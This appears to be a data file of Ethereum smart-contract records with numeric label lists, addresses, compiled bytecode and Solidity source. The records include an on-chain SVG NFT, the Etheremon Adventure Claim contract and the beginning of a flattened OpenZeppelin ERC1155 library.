31b7b637b960d91b9281019290925282918190601390612aff908f6121f6565b81548110612b0f57612b0f614c9b565b90600052602060002001604051602001612b2e96959493929190613bfe565b60405160208183030381529060405295508585604051602001612b52929190613a6d565b60405160208183030381529060405294508080612b6e90614c40565b915050612a6a565b50929695505050505050565b60606000612bad6040518060400160405280600581526020016431b7b637b960d91b815250846121f6565b9050612bb7613645565b6040518060e0016040528060b28152602001614e2360b2913981526014805483908110612be657612be6614c9b565b906000526020600020018054612bfb90614c05565b80601f0160208091040260200160405190810160405280929190818152602001828054612c2790614c05565b8015612c745780601f10612c4957610100808354040283529160200191612c74565b820191906000526020600020905b815481529060010190602001808311612c5757829003601f168201915b5050505050816001600d8110612c8c57612c8c614c9b565b6020020181905250604051806080016040528060548152602001614f156054913960408201526013805483908110612cc657612cc6614c9b565b906000526020600020018054612cdb90614c05565b80601f0160208091040260200160405190810160405280929190818152602001828054612d0790614c05565b8015612d545780601f10612d2957610100808354040283529160200191612d54565b820191906000526020600020905b815481529060010190602001808311612d3757829003601f168201915b5050505050816003600d8110612d6c57612d6c614c9b565b6020020181905250604051806060016040528060308152602001614f896030913960808201526014805483908110612da657612da6614c9b565b906000526020600020018054612dbb90614c05565b80601f0160208091040260200160405190810160405280929190818152602001828054612de790614c05565b8015612e345780601f10612e0957610100808354040283529160200191612e34565b820191906000526020600020905b815481529060010190602001808311612e1757829003601f168201915b5050505050816005600d8110612e4c57612e4c614c9b565b6020020181905250604051806080016040528060548152602001614d6f6054913960c08201526013805483908110612e8657612e86614c9b565b906000526020600020018054612e9b90614c05565b80601f0160208091040260200160405190810160405280929190818152602001828054612ec790614c05565b8015612f145780601f10612ee957610100808354040283529160200191612f14565b820191906000526020600020905b815481529060010190602001808311612ef757829003601f168201915b5050505050816007600d8110612f2c57612f2c614c9b565b6020020181905250604051806060016040528060368152602001614d19603691396101008201526016805483908110612f6757612f67614c9b565b906000526020600020018054612f7c90614c05565b80601f0160208091040260200160405190810160405280929190818152602001828054612fa890614c05565b8015612ff55780601f10612fca57610100808354040283529160200191612ff5565b820191906000526020600020905b815481529060010190602001808311612fd857829003601f168201915b5050505050816009600d811061300d5761300d614c9b565b60200201819052506040518060600160405280603b8152602001614cde603b9139610140820152601580548390811061304857613048614c9b565b90600052602060002001805461305d90614c05565b80601f016020809104026020016040519081016040528092919081815260200182805461308990614c05565b80156130d65780601f106130ab576101008083540402835291602001916130d6565b820191906000526020600020905b8154815290600101906020018083116130b957829003601f168201915b505050505081600b600d81106130ee576130ee614c9b565b6020020181905250604051806060016040528060408152602001614dc36040913961018082015280516020808301516040808501516060860151608087015160a088015160c089015160e08a01516101008b0151965160009a6131559a9099989101613b07565b60408051808303601f19018152919052610120830151610140840151610160850151929350839285600c612918565b6000546001600160a01b0384166131e75760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016106e2565b6131f2816000541190565b1561323f5760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e74656400000060448201526064016106e2565b7f00000000000000000000000000000000000000000000000000000000000000018311156132ba5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b60648201526084016106e2565b6001600160a01b0384166000908152600460209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190613316908790614a2b565b6001600160801b031681526020018583602001516133349190614a2b565b6001600160801b039081169091526001600160a01b0380881660008181526004602090815260408083208751978301518716600160801b029790961696909617909455845180860186529182526001600160401b034281168386019081528883526003909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b858110156134415760405182906001600160a01b03891690600090600080516020614f69833981519152908290a46134056000888488611c50565b6134215760405162461bcd60e51b81526004016106e2906149d8565b8161342b81614c40565b925050808061343990614c40565b9150506133ca565b506000555050505050565b6060600082518561345c866120f9565b60405160200161346d929190613a6d565b6040516020818303038152906040528051906020012060001c6134909190614c5b565b90506000838451836134a29190614c5b565b815181106134b2576134b2614c9b565b60200260200101516040516020016134ca9190613a51565b60408051808303601f190181529190529695505050505050565b6000806134f18484614bab565b905060008186888a60405160200161350b93929190613bc7565b6040516020818303038152906040528051906020012060001c61352e9190614c5b565b613539906001614a4d565b9050611dcb8582614a4d565b60008261355383600a614abc565b61355d9086614b64565b611d569190614a65565b82805461357390614c05565b90600052602060002090601f01602090048101928261359557600085556135db565b82601f106135ae57805160ff19168380011785556135db565b828001600101855582156135db579182015b828111156135db5782518255916020019190600101906135c0565b50610e6e929150613660565b60405180604001604052806002906020820280368337509192915050565b6040518060a001604052806005905b60608152602001906001900390816136145790505090565b6040805180820190915260608152600160208201613614565b604080516101a0810190915260608152600c60208201613614565b5b80821115610e6e5760008155600101613661565b60006001600160401b038084111561368f5761368f614cb1565b604051601f8501601f19908116603f011681019082821181831017156136b7576136b7614cb1565b816040528093508581528686860111156136d057600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461370157600080fd5b919050565b8035801515811461370157600080fd5b60006020828403121561372857600080fd5b613731826136ea565b9392505050565b6000806040838503121561374b57600080fd5b613754836136ea565b9150613762602084016136ea565b90509250929050565b60008060006060848603121561378057600080fd5b613789846136ea565b9250613797602085016136ea565b9150604084013590509250925092565b600080600080608085870312156137bd57600080fd5b6137c6856136ea565b93506137d4602086016136ea565b92506040850135915060608501356001600160401b038111156137f657600080fd5b8501601f8101871361380757600080fd5b61381687823560208401613675565b91505092959194509250565b6000806040838503121561383557600080fd5b61383e836136ea565b915061376260208401613706565b6000806040838503121561385f57600080fd5b613868836136ea565b946020939093013593505050565b60006020828403121561388857600080fd5b61373182613706565b6000602082840312156138a357600080fd5b813561373181614cc7565b6000602082840312156138c057600080fd5b815161373181614cc7565b6000602082840312156138dd57600080fd5b81356001600160401b038111156138f357600080fd5b8201601f8101841361390457600080fd5b611d5684823560208401613675565b60006020828403121561392557600080fd5b5035919050565b60008151808452613944816020860160208601614bc2565b601f01601f19169290920160200192915050565b6000815161396a818560208601614bc2565b9290920192915050565b6000815461398181614c05565b6001828116801561399957600181146139aa576139d9565b60ff198416875282870194506139d9565b8560005260208060002060005b858110156139d05781548a8201529084019082016139b7565b50505082870194505b5050505092915050565b60008083546139f181614c05565b60018281168015613a095760018114613a1a57612b76565b60ff19841687528287019450612b76565b8760005260208060002060005b85811015613a405781548a820152908401908201613a27565b505050959091019695505050505050565b60008251613a63818460208701614bc2565b9190910192915050565b60008351613a7f818460208801614bc2565b835190830190613a93818360208801614bc2565b01949350505050565b60008651613aae818460208b01614bc2565b865190830190613ac2818360208b01614bc2565b8651910190613ad5818360208a01614bc2565b8551910190613ae8818360208901614bc2565b8451910190613afb818360208801614bc2565b01979650505050505050565b60008a51613b19818460208f01614bc2565b8a51613b2b8183860160208f01614bc2565b8a519184010190613b40818360208e01614bc2565b8951613b528183850160208e01614bc2565b8951929091010190613b68818360208c01614bc2565b8751910190613b7b818360208b01614bc2565b8651613b8d8183850160208b01614bc2565b8651929091010190613ba3818360208901614bc2565b8451613bb58183850160208901614bc2565b9101019b9a5050505050505050505050565b60008451613bd9818460208901614bc2565b82018481528351613bf1816020808501908801614bc2565b0160200195945050505050565b7f3c67207374796c653d22616e696d6174696f6e3a20676c6974636820312e0000815260008751613c3681601e850160208c01614bc2565b76399034b73334b734ba329d911f101e3932b1ba103c1e9160491b601e918401918201528751613c6d816035840160208c01614bc2565b651291103c9e9160d11b603592909101918201528651613c9481603b840160208b01614bc2565b691291103bb4b23a341e9160b11b603b92909101918201528551613cbf816045840160208a01614bc2565b6a1291103432b4b3b43a1e9160a91b604592909101918201528451613ceb816050840160208901614bc2565b613d3f613d23613d1d605084860101761291103334b6361e913737b732911039ba3937b5b29e9160491b815260170190565b87613974565b6f111034b21e91189110179f101e17b39f60811b815260100190565b9a9950505050505050505050565b7f3c646566733e3c66696c7465722069643d22737175617265732220783d222d3381527f30252220793d222d333025222077696474683d2231363025222068656967687460208201527f3d2231363025223e203c666554757262756c656e636520747970653d22747572604082015277313ab632b731b291103130b9b2a33932b8bab2b731bc9e9160411b606082015261181760f11b607882015260008451613dfd81607a850160208901614bc2565b631a90181760e11b607a918401918201528451613e2181607e840160208901614bc2565b603560f81b607e92909101918201527f22206e756d4f6374617665733d2231302220736565643d222220726573756c74607f8201527f3d2274757262756c656e6365223e203c616e696d617465206174747269627574609f8201527f654e616d653d227365656422206475723d22302e33732220726570656174436f60bf8201527f756e743d22696e646566696e697465222063616c634d6f64653d22646973637260df8201527f657465222076616c7565733d22313b323b333b343b353b363b373b383b393b3160ff8201527f222f3e203c2f666554757262756c656e63653e203c6665446973706c6163656d61011f8201527f656e744d617020696e3d22536f75726365477261706869632220696e323d227461013f820152713ab9313ab632b731b2911039b1b0b6329e9160711b61015f820152613fb8613f69610171830186613958565b7f2220784368616e6e656c53656c6563746f723d22522220794368616e6e656c5381527f656c6563746f723d224722202f3e203c2f66696c7465723e203c2f646566733e602082015260400190565b9695505050505050565b757b226e616d65223a2022446973746f7274696f6e202360501b81528751600090613ff4816016850160208d01614bc2565b88519083019061400b816016840160208d01614bc2565b7f222c2261747472696275746573223a205b207b202274726169745f747970652260169290910191820152741d101121b7b637b9111610113b30b63ab2911d101160591b6036820152614061604b820189613974565b90507f22207d2c207b202274726169745f74797065223a2022446973746f7274696f6e81527101029b1b0b632911610113b30b63ab2911d160751b602082015286516140b4816032840160208b01614bc2565b7f207d2c207b202274726169745f74797065223a202252696e6773222c2022766160329290910191820152650363ab2911d160d51b6052820152613d3f61422061421a61416761415861415261410d605888018d613958565b7f207d2c207b202274726169745f74797065223a20224672657175656e6379204d81527203ab63a34b83632911610113b30b63ab2911d1606d1b602082015260330190565b8a613958565b62207d5d60e81b815260030190565b7f2c20226465736372697074696f6e223a2022446973746f7274696f6e2069732081527f612066756c6c792068616e642d74797065642031303025206f6e2d636861696e60208201527f2061727420636f6c6c656374696f6e206c696d6974656420746f20312c30303060408201527f207069656365732e222c2022696d616765223a2022646174613a696d6167652f60608201526e1cdd99cade1b5b0ed8985cd94d8d0b608a1b6080820152608f0190565b86613958565b61227d60f01b815260020190565b7f3c7376672077696474683d22373530707822206865696768743d22373530707881527f222076696577426f783d2230203020353030203530302220786d6c6e733d226860208201527f7474703a2f2f7777772e77332e6f72672f323030302f7376672220786d6c6e7360408201527f3a786c696e6b3d22687474703a2f2f7777772e77332e6f72672f313939392f7860608201527f6c696e6b22207374796c653d226261636b67726f756e642d636f6c6f723a202360808201527f3130313031303b223e203c212d2d205354415254204241434b47524f554e442060a08201527f2d2d3e203c7374796c653e20406b65796672616d657320676c69746368207b2060c08201527f3025207b7472616e73666f726d3a207472616e736c61746528307078293b206f60e08201527f7061636974793a20302e31353b7d203725207b7472616e73666f726d3a2074726101008201527f616e736c61746528327078293b206f7061636974793a20302e36353b7d2034356101208201527f25207b7472616e73666f726d3a207472616e736c61746528307078293b206f706101408201527f61636974793a20302e33353b7d20353025207b7472616e73666f726d3a2074726101608201527f616e736c617465282d327078293b206f7061636974793a20302e38353b7d20316101808201527f303025207b7472616e73666f726d3a207472616e736c61746528307078293b206101a08201527f6f7061636974793a20302e32353b7d207d203c2f7374796c653e203c646566736101c08201527f3e203c66696c7465722069643d226261636b67726f756e642220783d222d32306101e08201527f252220793d222d323025222077696474683d223134302522206865696768743d6102008201527f2231343025222066696c746572556e6974733d226f626a656374426f756e64696102208201527f6e67426f7822207072696d6974697665556e6974733d227573657253706163656102408201527f4f6e5573652220636f6c6f722d696e746572706f6c6174696f6e2d66696c74656102608201527f72733d226c696e656172524742223e203c666554757262756c656e63652074796102808201527f70653d226672616374616c4e6f6973652220626173654672657175656e63793d6102a08201527f22313022206e756d4f6374617665733d22342220736565643d223122207374696102c08201527f74636854696c65733d227374697463682220783d2230252220793d22302522206102e08201527f77696474683d223130302522206865696768743d22313030252220726573756c6103008201527f743d2274757262756c656e6365223e203c616e696d61746520617474726962756103208201527f74654e616d653d227365656422206475723d2231732220726570656174436f756103408201527f6e743d22696e646566696e697465222063616c634d6f64653d226469736372656103608201527f7465222076616c7565733d22313b323b333b343b353b363b373b383b393b31306103808201527f22202f3e203c2f666554757262756c656e63653e203c666553706563756c61726103a08201527f4c69676874696e6720737572666163655363616c653d223130222073706563756103c08201527f6c61724578706f6e656e743d22313022206c69676874696e672d636f6c6f723d6103e08201527f2223666666222077696474683d223130302522206865696768743d22313030256104008201527f223e203c616e696d617465206174747269627574654e616d653d2273757266616104208201527f63655363616c6522206475723d2231732220726570656174436f756e743d22696104408201527f6e646566696e697465222063616c634d6f64653d2264697363726574652220766104608201527f616c7565733d2231303b31313b31323b31333b31343b31353b31343b31333b316104808201527f323b313122202f3e203c666544697374616e744c6967687420656c65766174696104a08201527f6f6e3d22313030222f3e203c2f666553706563756c61724c69676874696e673e6104c08201527f203c2f66696c7465723e203c2f646566733e203c67206f7061636974793d22316104e08201527f3025223e203c726563742077696474683d2237303022206865696768743d22376105008201527f3030222066696c6c3d2268736c2832332c2030252c203130302529222066696c6105208201527f7465723d2275726c28236261636b67726f756e6429223e3c2f726563743e203c6105408201527f2f673e203c212d2d20454e44204241434b47524f554e44202d2d3e203c212d2d610560820152711029aa20a92a1029a8aaa0a922a99016969f60711b6105808201526000613fb861491261421a61490c61059286018a613958565b88613958565b84613958565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c00000081526000825161495081601d850160208701614bc2565b91909101601d0192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613fb89083018461392c565b602081526000613731602083018461392c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b60006001600160801b03828116848216808303821115613a9357613a93614c6f565b60008219821115614a6057614a60614c6f565b500190565b600082614a7457614a74614c85565b500490565b600181815b80851115614ab4578160001904821115614a9a57614a9a614c6f565b80851615614aa757918102915b93841c9390800290614a7e565b509250929050565b60006137318383600082614ad2575060016105df565b81614adf575060006105df565b8160018114614af55760028114614aff57614b1b565b60019150506105df565b60ff841115614b1057614b10614c6f565b50506001821b6105df565b5060208310610133831016604e8410600b8410161715614b3e575081810a6105df565b614b488383614a79565b8060001904821115614b5c57614b5c614c6f565b029392505050565b6000816000190483118215151615614b7e57614b7e614c6f565b500290565b60006001600160801b0383811690831681811015614ba357614ba3614c6f565b039392505050565b600082821015614bbd57614bbd614c6f565b500390565b60005b83811015614bdd578181015183820152602001614bc5565b838111156112045750506000910152565b600081614bfd57614bfd614c6f565b506000190190565b600181811c90821680614c1957607f821691505b60208210811415614c3a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415614c5457614c54614c6f565b5060010190565b600082614c6a57614c6a614c85565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146107c057600080fdfe2220643d224d3132372e393631203135342e313539763133332e3739396c3132372e39362d37352e3633377a222f3e3c706174682066696c6c3d222220643d224d30203233362e3538356c3132372e393632203138302e3332762d3130342e37327a222f3e3c706174682066696c6c3d22c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4702220643d224d3132362e333836203431322e3330366c312e35373520342e364c323536203233362e3538376c2d3132382e3033382037352e362d312e35373520312e39327a222f3e3c706174682066696c6c3d222220643d224d3132372e3936203135342e3135394c30203231322e33326c3132372e39362037352e3633377a222f3e203c2f673e203c2f673e203c2f7376673e044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d3c2f673e203c2f673e203c212d2d20454e442053515541524553202d2d3e203c67207374796c653d22616e696d6174696f6e3a20676c6974636820302e357320696e66696e6974653b66696c7465723a2075726c282373717561726573293b223e203c67207472616e73666f726d3d227363616c6528302e353029207472616e736c617465283337302c203238372922207374796c653d226f7061636974793a343025223e203c706174682066696c6c3d224142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f2220643d224d3132352e313636203238352e3136386c322e37393520322e3739203132372e3936322d37352e3633384c3132372e39363120306c2d322e37393520392e357a222f3e3c706174682066696c6c3d22ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef2220643d224d3132372e393632203238372e39353956304c30203231322e33327a222f3e3c706174682066696c6c3d223c7374796c6520616c743d22737572726f756e64223e202331207b207374726f6b652d6461736861727261793a2035302c35302c313530207d3c2f7374796c653e203c212d2d207472616e736c6174652062656c6f7720697320657175616c20746f207363616c652061626f766520646976696465642062792035202d2d3e203c212d2d20782073746172747320617420352c20696e6372656d656e74732062792032207c20776964746820697320657175616c20746f20313030202d2028322a7829202d2d3e203c67207374796c653d2266696c7465723a2075726c282373717561726573293b22206f7061636974793d2231303025222069643d2231223e203c67207472616e73666f726d3d227472616e736c617465282de3f0ae350ee09657933cd8202a4dd563c5af941f8054e6d7191e3246be378290a26469706673582212201677c8e826ee1412ca6e1f6225906d84f85296168ab1c119c2c4f36e37b6704064736f6c63430008070033
[ 4, 3, 9, 12, 5 ]
0xf38250497b624fddaa9acda93abafa0a704a08e8
pragma solidity ^0.4.23; contract BasicAccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = false; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public { if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; } } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } } contract EtheremonAdventurePresale { function getBidBySiteIndex(uint8 _siteId, uint _index) constant external returns(address bidder, uint32 bidId, uint8 siteId, uint amount, uint time); } interface EtheremonAdventureItem { function spawnSite(uint _classId, uint _tokenId, address _owner) external; } contract EtheremonAdventureClaim is BasicAccessControl { uint constant public MAX_SITE_ID = 108; uint constant public MIN_SITE_ID = 1; struct BiddingInfo { address bidder; uint32 bidId; uint amount; uint time; uint8 siteId; } mapping(uint32 => uint) public bidTokens; address public adventureItem; address public adventurePresale; modifier requireAdventureItem { require(adventureItem != address(0)); _; } modifier requireAdventurePresale { require(adventurePresale != address(0)); _; } constructor(address _adventureItem, address _adventurePresale) public { adventureItem = _adventureItem; adventurePresale = _adventurePresale; } function setContract(address _adventureItem, address _adventurePresale) onlyOwner public { adventureItem = _adventureItem; adventurePresale = _adventurePresale; } function claimSiteToken(uint8 _siteId, uint _index) isActive requireAdventureItem requireAdventurePresale public { if (_siteId < MIN_SITE_ID || _siteId > MAX_SITE_ID || _index > 10) revert(); BiddingInfo memory bidInfo; (bidInfo.bidder, bidInfo.bidId, bidInfo.siteId, bidInfo.amount, bidInfo.time) = EtheremonAdventurePresale(adventurePresale).getBidBySiteIndex(_siteId, _index); if (bidInfo.bidId == 0 || bidTokens[bidInfo.bidId] > 0) revert(); uint tokenId = (_siteId - 1) * 10 + _index + 1; bidTokens[bidInfo.bidId] = tokenId; EtheremonAdventureItem(adventureItem).spawnSite(_siteId, tokenId, bidInfo.bidder); } function getTokenByBid(uint32 _bidId) constant public returns(uint) { return bidTokens[_bidId]; } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166314d0f1ba81146100ea5780631a5b8f961461011f5780632bf6e0a514610146578063445264db1461016f5780634833c47c146101a057806348ef5aa8146101be5780634efb023e146101d85780636c81fd6d146102045780637138364b146102255780638da5cb5b1461023a578063addb246b1461024f578063b85d627514610264578063c0ee954f14610285578063ee4e4416146102a3578063f2853292146102b8578063fda27af2146102d9575b600080fd5b3480156100f657600080fd5b5061010b600160a060020a03600435166102f7565b604080519115158252519081900360200190f35b34801561012b57600080fd5b5061013461030c565b60408051918252519081900360200190f35b34801561015257600080fd5b5061016d600160a060020a0360043581169060243516610311565b005b34801561017b57600080fd5b50610184610363565b60408051600160a060020a039092168252519081900360200190f35b3480156101ac57600080fd5b5061013463ffffffff60043516610372565b3480156101ca57600080fd5b5061016d600435151561038a565b3480156101e457600080fd5b506101ed6103b4565b6040805161ffff9092168252519081900360200190f35b34801561021057600080fd5b5061016d600160a060020a03600435166103d6565b34801561023157600080fd5b5061018461047c565b34801561024657600080fd5b5061018461048b565b34801561025b57600080fd5b5061013461049a565b34801561027057600080fd5b5061016d600160a060020a036004351661049f565b34801561029157600080fd5b5061013463ffffffff60043516610545565b3480156102af57600080fd5b5061010b610557565b3480156102c457600080fd5b5061016d600160a060020a0360043516610560565b3480156102e557600080fd5b5061016d60ff600435166024356105b3565b60016020526000908152604090205460ff1681565b606c81565b600054600160a060020a0316331461032857600080fd5b60048054600160a060020a0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560058054929093169116179055565b600554600160a060020a031681565b63ffffffff1660009081526003602052604090205490565b600054600160a060020a031633146103a157600080fd5b6002805460ff1916911515919091179055565b60005474010000000000000000000000000000000000000000900461ffff1681565b600054600160a060020a031633146103ed57600080fd5b600160a060020a03811660009081526001602052604090205460ff16151561047957600160a060020a03811660009081526001602081905260408220805460ff191682179055815461ffff7401000000000000000000000000000000000000000080830482169093011690910275ffff0000000000000000000000000000000000000000199091161790555b50565b600454600160a060020a031681565b600054600160a060020a031681565b600181565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811660009081526001602081905260409091205460ff161515141561047957600160a060020a03166000908152600160205260408120805460ff19169055805475ffff0000000000000000000000000000000000000000198116740100000000000000000000000000000000000000009182900461ffff9081166000190116909102179055565b60036020526000908152604090205481565b60025460ff1681565b600054600160a060020a0316331461057757600080fd5b600160a060020a038116156104795760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b6105bb6107fd565b60025460009060ff16156105ce57600080fd5b600454600160a060020a031615156105e557600080fd5b600554600160a060020a031615156105fc57600080fd5b60018460ff1610806106115750606c8460ff16115b8061061c5750600a83115b1561062657600080fd5b600554604080517f968f0a6a00000000000000000000000000000000000000000000000000000000815260ff87166004820152602481018690529051600160a060020a039092169163968f0a6a9160448082019260a0929091908290030181600087803b15801561069657600080fd5b505af11580156106aa573d6000803e3d6000fd5b505050506040513d60a08110156106c057600080fd5b508051602080830151604080850151606080870151608097880151918a01919091529188019190915260ff169386019390935263ffffffff909216918401829052600160a060020a031683521580610730575060208083015163ffffffff16600090815260039091526040812054115b1561073a57600080fd5b5060208082015163ffffffff1660009081526003909152604080822060ff600a600019880102811686016001019182905560048054865185517febf06bcb000000000000000000000000000000000000000000000000000000008152938a169284019290925260248301849052600160a060020a0391821660448401529351929493169263ebf06bcb9260648084019382900301818387803b1580156107df57600080fd5b505af11580156107f3573d6000803e3d6000fd5b5050505050505050565b6040805160a081018252600080825260208201819052918101829052606081018290526080810191909152905600a165627a7a72305820528b80d123322b3851a461d2beda45c79dcaafeee3bf242ea5be5ed5ad062e410029
[ 12 ]
0xf382c6e00ce4bb5742f9328b3d9806da3b9190eb
// Sources flattened with hardhat v2.3.3 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.1.0 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC1155/IERC1155.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // File @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // File @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * 